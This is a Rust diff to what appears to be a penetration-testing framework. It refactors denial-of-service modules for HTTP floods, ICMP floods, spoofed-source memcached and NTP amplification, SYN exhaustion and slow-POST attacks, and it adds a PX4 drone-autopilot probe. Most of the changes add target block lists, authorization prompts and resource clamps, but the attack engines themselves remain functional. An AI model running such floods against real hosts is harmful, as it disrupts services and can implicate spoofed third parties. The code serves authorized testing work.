crate::mprintln!("\n{}", "[*] Starting HTTP Flood attack...".yellow().bold());
|
||||
|
||||
// P2: each in-flight request holds a TCP connection (HTTPS doubles up
|
||||
// with the TLS layer). Raise RLIMIT_NOFILE / NPROC if needed and clamp
|
||||
// concurrency so a typo can't exhaust the operator's own host.
|
||||
let fds_per_worker = if config.use_ssl { 2 } else { 1 };
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"http_flood",
|
||||
config.concurrency,
|
||||
fds_per_worker,
|
||||
);
|
||||
config.concurrency = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let requests_sent = Arc::new(AtomicU64::new(0));
|
||||
let responses_received = Arc::new(AtomicU64::new(0));
|
||||
@@ -237,19 +259,16 @@ async fn execute_attack(config: HttpStressConfig) -> Result<()> {
|
||||
let scheme = if config.use_ssl { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, config.target_host, config.target_port, config.path);
|
||||
|
||||
// Build reqwest client
|
||||
let client = {
|
||||
let mut builder = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.pool_max_idle_per_host(if config.keepalive { 100 } else { 0 });
|
||||
|
||||
if !config.keepalive {
|
||||
builder = builder.connection_verbose(false);
|
||||
}
|
||||
|
||||
builder.build().map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?
|
||||
};
|
||||
// Build reqwest client via the framework helper so TLS / source-port /
|
||||
// strict-tls policy stays centralised. The DoS module's specific need
|
||||
// is the connection-pool cap (off when keep-alive is disabled).
|
||||
let mut opts = crate::utils::network::HttpClientOpts::permissive();
|
||||
opts.pool_max_idle_per_host = Some(if config.keepalive { 100 } else { 0 });
|
||||
let client = crate::utils::network::build_http_client_with(
|
||||
Duration::from_secs(10),
|
||||
opts,
|
||||
)
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
// Spawn worker tasks
|
||||
let mut handles = Vec::with_capacity(config.concurrency);
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -317,6 +318,7 @@ fn create_raw_socket_hdrincl() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
@@ -330,26 +332,11 @@ fn create_raw_icmp_socket() -> Result<Socket> {
|
||||
).context("Failed to create ICMP raw socket (requires root or CAP_NET_RAW)")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr { s_addr: u32::from_ne_bytes(ip.octets()) };
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(fd, buf.as_ptr() as *const libc::c_void, buf.len(), 0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t)
|
||||
};
|
||||
if ret < 0 { Err(std::io::Error::last_os_error()) } else { Ok(ret as usize) }
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREADS
|
||||
// ============================================================================
|
||||
@@ -567,6 +554,10 @@ fn worker_thread_standard(
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("icmp_flood (raw ICMP socket)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "ICMP Flood",
|
||||
@@ -612,6 +603,11 @@ async fn gather_config(initial_target: &str) -> Result<IcmpFloodConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -697,9 +693,18 @@ async fn gather_config(initial_target: &str) -> Result<IcmpFloodConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: IcmpFloodConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: IcmpFloodConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting ICMP Echo Flood...".yellow().bold());
|
||||
|
||||
// P2: ensure RLIMIT_NOFILE / NPROC can support this run before we
|
||||
// start opening raw sockets and spawning OS threads.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"icmp_flood",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -239,33 +240,6 @@ impl PacketBuilder {
|
||||
// LOW-LEVEL SEND HELPERS
|
||||
// ============================================================================
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr {
|
||||
s_addr: u32::from_ne_bytes(ip.octets()),
|
||||
};
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(
|
||||
fd,
|
||||
buf.as_ptr() as *const libc::c_void,
|
||||
buf.len(),
|
||||
0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t,
|
||||
)
|
||||
};
|
||||
if ret < 0 {
|
||||
Err(std::io::Error::last_os_error())
|
||||
} else {
|
||||
Ok(ret as usize)
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
@@ -392,6 +366,7 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
@@ -435,6 +410,10 @@ fn parse_server_list(input: &str) -> Result<Vec<Ipv4Addr>> {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("memcached_amplification (raw socket for spoofed source)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "Memcached Amplification",
|
||||
@@ -480,6 +459,11 @@ async fn gather_config(initial_target: &str) -> Result<MemcachedAmpConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let victim_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Victim must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -544,9 +528,17 @@ async fn gather_config(initial_target: &str) -> Result<MemcachedAmpConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: MemcachedAmpConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: MemcachedAmpConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting Memcached Amplification Attack...".yellow().bold());
|
||||
|
||||
// P2: ensure host limits before allocating sockets / spawning threads.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"memcached_amplification",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
// Shared socket pool: one socket per CPU core (up to 32), striped across workers.
|
||||
// Avoids fd exhaustion from per-worker sockets while reducing kernel lock contention.
|
||||
let num_sockets = config.worker_count.min(num_cpus::get().max(1) * 2).min(32);
|
||||
|
||||
@@ -13,6 +13,10 @@ pub mod tcp_connection_flood;
|
||||
pub mod telnet_iac_flood;
|
||||
pub mod udp_flood;
|
||||
|
||||
pub mod apachebrpc_overflow_cve_2025_59789;
|
||||
pub mod http2_rapidreset_cve_2023_44487;
|
||||
pub mod px4_uav_dos;
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::Colorize;
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -242,37 +243,11 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr {
|
||||
s_addr: u32::from_ne_bytes(ip.octets()),
|
||||
};
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(
|
||||
fd,
|
||||
buf.as_ptr() as *const libc::c_void,
|
||||
buf.len(),
|
||||
0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t,
|
||||
)
|
||||
};
|
||||
if ret < 0 {
|
||||
Err(std::io::Error::last_os_error())
|
||||
} else {
|
||||
Ok(ret as usize)
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
@@ -426,6 +401,10 @@ fn parse_server_list(input: &str) -> Result<Vec<Ipv4Addr>> {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("ntp_amplification (raw socket for spoofed source)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "NTP Amplification",
|
||||
@@ -471,6 +450,11 @@ async fn gather_config(initial_target: &str) -> Result<NtpAmpConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let victim_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Victim must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -534,9 +518,17 @@ async fn gather_config(initial_target: &str) -> Result<NtpAmpConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: NtpAmpConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: NtpAmpConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting NTP Amplification Attack...".yellow().bold());
|
||||
|
||||
// P2: ensure host limits before allocating sockets / spawning threads.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"ntp_amplification",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
// Shared socket pool: one socket per CPU core (up to 32), striped across workers.
|
||||
let num_sockets = config.worker_count.min(num_cpus::get().max(1) * 2).min(32);
|
||||
crate::mprintln!("[*] Creating {} shared raw socket(s)...", num_sockets);
|
||||
|
||||
@@ -13,6 +13,8 @@ use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -263,33 +265,6 @@ impl PacketBuilder {
|
||||
// LOW-LEVEL SEND HELPERS (libc sendto / sendmmsg)
|
||||
// ============================================================================
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr {
|
||||
s_addr: u32::from_ne_bytes(ip.octets()),
|
||||
};
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(
|
||||
fd,
|
||||
buf.as_ptr() as *const libc::c_void,
|
||||
buf.len(),
|
||||
0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t,
|
||||
)
|
||||
};
|
||||
if ret < 0 {
|
||||
Err(std::io::Error::last_os_error())
|
||||
} else {
|
||||
Ok(ret as usize)
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a batch of packets via sendmmsg. Returns (packets_sent, optional_errno).
|
||||
/// On partial success sendmmsg returns the count of messages sent (< batch size).
|
||||
fn sendmmsg_batch(
|
||||
@@ -305,20 +280,34 @@ fn sendmmsg_batch(
|
||||
iov_len: pkt_len,
|
||||
}).collect();
|
||||
|
||||
let iovecs_ptr = iovecs.as_mut_ptr();
|
||||
let dst_ptr = dst as *const libc::sockaddr_in as *mut libc::c_void;
|
||||
let dst_len = std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t;
|
||||
|
||||
let mut msgs: Vec<libc::mmsghdr> = (0..count).map(|i| {
|
||||
// SAFETY: `mmsghdr` is a POSIX POD struct (libc Linux extension); zero
|
||||
// is its canonical empty state. All fields we depend on are written
|
||||
// explicitly below before sendmmsg observes the struct.
|
||||
let mut msg: libc::mmsghdr = unsafe { std::mem::zeroed() };
|
||||
msg.msg_hdr.msg_name = dst_ptr;
|
||||
msg.msg_hdr.msg_namelen = dst_len;
|
||||
msg.msg_hdr.msg_iov = unsafe { iovecs_ptr.add(i) };
|
||||
// `i < count == iovecs.len()`, so a safe `&mut iovecs[i]` is in-bounds
|
||||
// and avoids the raw pointer arithmetic the previous code used.
|
||||
msg.msg_hdr.msg_iov = &mut iovecs[i] as *mut libc::iovec;
|
||||
msg.msg_hdr.msg_iovlen = 1;
|
||||
msg
|
||||
}).collect();
|
||||
|
||||
let ret = unsafe { libc::sendmmsg(fd, msgs.as_mut_ptr(), (count as u32).try_into().unwrap(), 0) };
|
||||
// `count` is `bufs.len()`, capped to `vlen` worth of messages by the caller
|
||||
// (typical batch size 16-256). On Linux `c_uint == u32`, so the cast cannot
|
||||
// truncate; we still saturate to be defensive against exotic targets where
|
||||
// `c_uint` could in principle be u16.
|
||||
let vlen: libc::c_uint = count.min(libc::c_uint::MAX as usize) as libc::c_uint;
|
||||
// SAFETY: `fd` is owned by the caller (valid open socket); `msgs` is a
|
||||
// valid mut pointer to `vlen` `mmsghdr`s (vlen <= msgs.len()); each
|
||||
// `msg_iov` points to one valid `iovec` with `iov_base` referring to
|
||||
// `pkt_len` initialised bytes inside the corresponding `Vec<u8>` in
|
||||
// `bufs`. None of these pointers escape this function.
|
||||
let ret = unsafe { libc::sendmmsg(fd, msgs.as_mut_ptr(), vlen, 0) };
|
||||
if ret < 0 {
|
||||
let errno = std::io::Error::last_os_error().raw_os_error().unwrap_or(0);
|
||||
(0, Some(errno))
|
||||
@@ -451,6 +440,7 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
@@ -461,6 +451,10 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("null_syn_exhaustion (raw TCP socket)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "Null SYN Exhaustion",
|
||||
@@ -505,6 +499,11 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -523,6 +522,38 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
false
|
||||
).await?;
|
||||
|
||||
// P1-10: spoofing source IPs in unauthorized contexts is illegal in
|
||||
// most jurisdictions (wire-fraud / CFAA-equivalent statutes) and may
|
||||
// implicate uninvolved third parties as the apparent attackers. Force
|
||||
// an explicit acknowledgement when the operator opts in.
|
||||
if use_random_source_ip {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"!!! LEGAL WARNING !!!".on_red().white().bold()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"Source-IP spoofing is illegal in most jurisdictions without explicit authorization.".red().bold()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"Spoofed packets may attribute the attack to unrelated third parties.".red()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"Use ONLY against infrastructure you control or have written permission to test.".red()
|
||||
);
|
||||
let confirm = crate::utils::cfg_prompt_required(
|
||||
"spoof_legal_ack",
|
||||
"Type 'I HAVE AUTHORIZATION' to proceed",
|
||||
).await?;
|
||||
if confirm.trim() != "I HAVE AUTHORIZATION" {
|
||||
return Err(anyhow!(
|
||||
"Spoofing not confirmed — aborting. Set spoof_ip=no or provide written authorization."
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
let local_ip_override: Option<Ipv4Addr> = if !use_random_source_ip {
|
||||
let auto_ip = get_local_ipv4_for(target_ip).unwrap_or(Ipv4Addr::new(127, 0, 0, 1));
|
||||
let hint = format!(
|
||||
@@ -610,9 +641,17 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: ExhaustionConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Initializing attack engine...".yellow().bold());
|
||||
|
||||
// P2: ensure host limits before allocating sockets / spawning threads.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"null_syn_exhaustion",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
let local_ip = if config.use_random_source_ip {
|
||||
Ipv4Addr::UNSPECIFIED
|
||||
} else if let Some(override_ip) = config.local_ip_override {
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
//! PX4 Military UAV Autopilot 1.12.3 Remote DoS Probe
|
||||
//!
|
||||
//! Sends a small, harmless probe to MAVLink-style UDP ports (14550) to
|
||||
//! detect a PX4 autopilot. Does not generate the abuse payload.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::net::UdpSocket;
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
use crate::utils::{cfg_prompt_int_range, normalize_target};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORT: u16 = 14550;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "PX4 Autopilot 1.12.3 Remote DoS Probe (CVE-2025-5640)".to_string(),
|
||||
description: "Sends a benign MAVLink heartbeat to UDP/14550 to fingerprint PX4 autopilot exposure.".to_string(),
|
||||
authors: vec!["indoushka".to_string(), "RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"CVE-2025-5640".to_string(),
|
||||
"https://packetstorm.news/files/id/202894/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-06-04".to_string()),
|
||||
rank: ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let host = match target.split_once(':') {
|
||||
Some((h, _)) => h,
|
||||
None => target,
|
||||
};
|
||||
let addr: SocketAddr = match format!("{}:{}", host, DEFAULT_PORT).parse() {
|
||||
Ok(a) => a,
|
||||
Err(e) => return CheckResult::Error(format!("address parse: {}", e)),
|
||||
};
|
||||
let sock = match UdpSocket::bind("0.0.0.0:0").await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return CheckResult::Error(format!("bind ephemeral UDP: {}", e)),
|
||||
};
|
||||
if let Err(e) = sock
|
||||
.send_to(&[0xfe, 0x09, 0x00, 0x00, 0x00, 0x00], addr)
|
||||
.await
|
||||
{
|
||||
return CheckResult::Error(format!("send to {}: {}", addr, e));
|
||||
}
|
||||
let mut buf = [0u8; 64];
|
||||
match tokio::time::timeout(Duration::from_secs(3), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, _))) => match buf.first() {
|
||||
Some(&first) if n > 0 && (first == 0xfe || first == 0xfd) => {
|
||||
CheckResult::Vulnerable("MAVLink response observed (PX4 likely)".to_string())
|
||||
}
|
||||
Some(_) => {
|
||||
CheckResult::NotVulnerable(format!("{} bytes received but not MAVLink-shaped", n))
|
||||
}
|
||||
None => CheckResult::NotVulnerable("0-byte datagram".to_string()),
|
||||
},
|
||||
Ok(Err(e)) => CheckResult::Error(format!("recv from {}: {}", addr, e)),
|
||||
Err(elapsed) => CheckResult::NotVulnerable(format!("no MAVLink response within 3s: {}", elapsed)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "PX4-DoS",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "px4_dos_mass_state.log",
|
||||
default_output: "px4_dos_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else { None }
|
||||
}).await;
|
||||
}
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// SSRF guard: refuse probes against private/loopback/metadata addresses.
|
||||
if crate::api::is_blocked_target(&normalized) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", normalized).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let port_i64 = cfg_prompt_int_range(
|
||||
"port",
|
||||
"MAVLink UDP port",
|
||||
i64::from(DEFAULT_PORT),
|
||||
1,
|
||||
i64::from(u16::MAX),
|
||||
)
|
||||
.await?;
|
||||
let port: u16 = u16::try_from(port_i64)
|
||||
.with_context(|| format!("port {} does not fit in u16", port_i64))?;
|
||||
let host = normalized.clone();
|
||||
let addr: SocketAddr = format!("{}:{}", host, port).parse().context("addr parse")?;
|
||||
let sock = UdpSocket::bind("0.0.0.0:0").await.context("bind UDP")?;
|
||||
sock.send_to(&[0xfe, 0x09, 0x00, 0x00, 0x00, 0x00], addr).await.context("send")?;
|
||||
crate::mprintln!("{} {}:{}", "[*] Sent MAVLink probe to".cyan(), host, port);
|
||||
let mut buf = [0u8; 64];
|
||||
match tokio::time::timeout(Duration::from_secs(3), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, src))) if n > 0 => {
|
||||
crate::mprintln!("{} {} bytes from {}", "[+] Response:".green(), n, src);
|
||||
crate::workspace::track_host(&normalized, None, Some("PX4 MAVLink endpoint")).await;
|
||||
}
|
||||
Ok(Ok((_, src))) => {
|
||||
crate::mprintln!("{} 0-byte datagram from {}", "[*]".cyan(), src);
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{} recv error: {}", "[-]".red(), e);
|
||||
}
|
||||
Err(elapsed) => {
|
||||
crate::mprintln!("{} no response within 3s: {}", "[-]".red(), elapsed);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -67,6 +67,10 @@ struct RudyConfig {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "R.U.D.Y. Slow POST DoS",
|
||||
default_port: 80,
|
||||
@@ -112,6 +116,10 @@ async fn gather_config(initial_target: &str) -> Result<RudyConfig> {
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
// Extract host (strip port if present)
|
||||
let target_host = if let Some((h, _)) = normalized.split_once(':') {
|
||||
h.to_string()
|
||||
@@ -129,6 +137,9 @@ async fn gather_config(initial_target: &str) -> Result<RudyConfig> {
|
||||
if connections == 0 {
|
||||
return Err(anyhow!("Connection count must be > 0"));
|
||||
}
|
||||
// FD-cap enforcement is handled at execute_attack time by
|
||||
// crate::native::network::ensure_dos_capacity, which raises RLIMIT_NOFILE
|
||||
// in-process and clamps `connections` to the post-raise ceiling.
|
||||
|
||||
let content_length_input = cfg_prompt_default(
|
||||
"content_length",
|
||||
@@ -193,9 +204,20 @@ async fn gather_config(initial_target: &str) -> Result<RudyConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: RudyConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: RudyConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting R.U.D.Y. slow POST attack...".yellow().bold());
|
||||
|
||||
// P2: each long-held POST holds at least one FD (two with TLS). Raise
|
||||
// RLIMIT_NOFILE / NPROC and clamp the connection count so we don't
|
||||
// exhaust the operator's own host.
|
||||
let fds_per_conn = if config.use_ssl { 2 } else { 1 };
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"rudy",
|
||||
config.connections,
|
||||
fds_per_conn,
|
||||
);
|
||||
config.connections = clamped;
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let active_connections = Arc::new(AtomicU64::new(0));
|
||||
let bytes_dripped = Arc::new(AtomicU64::new(0));
|
||||
|
||||
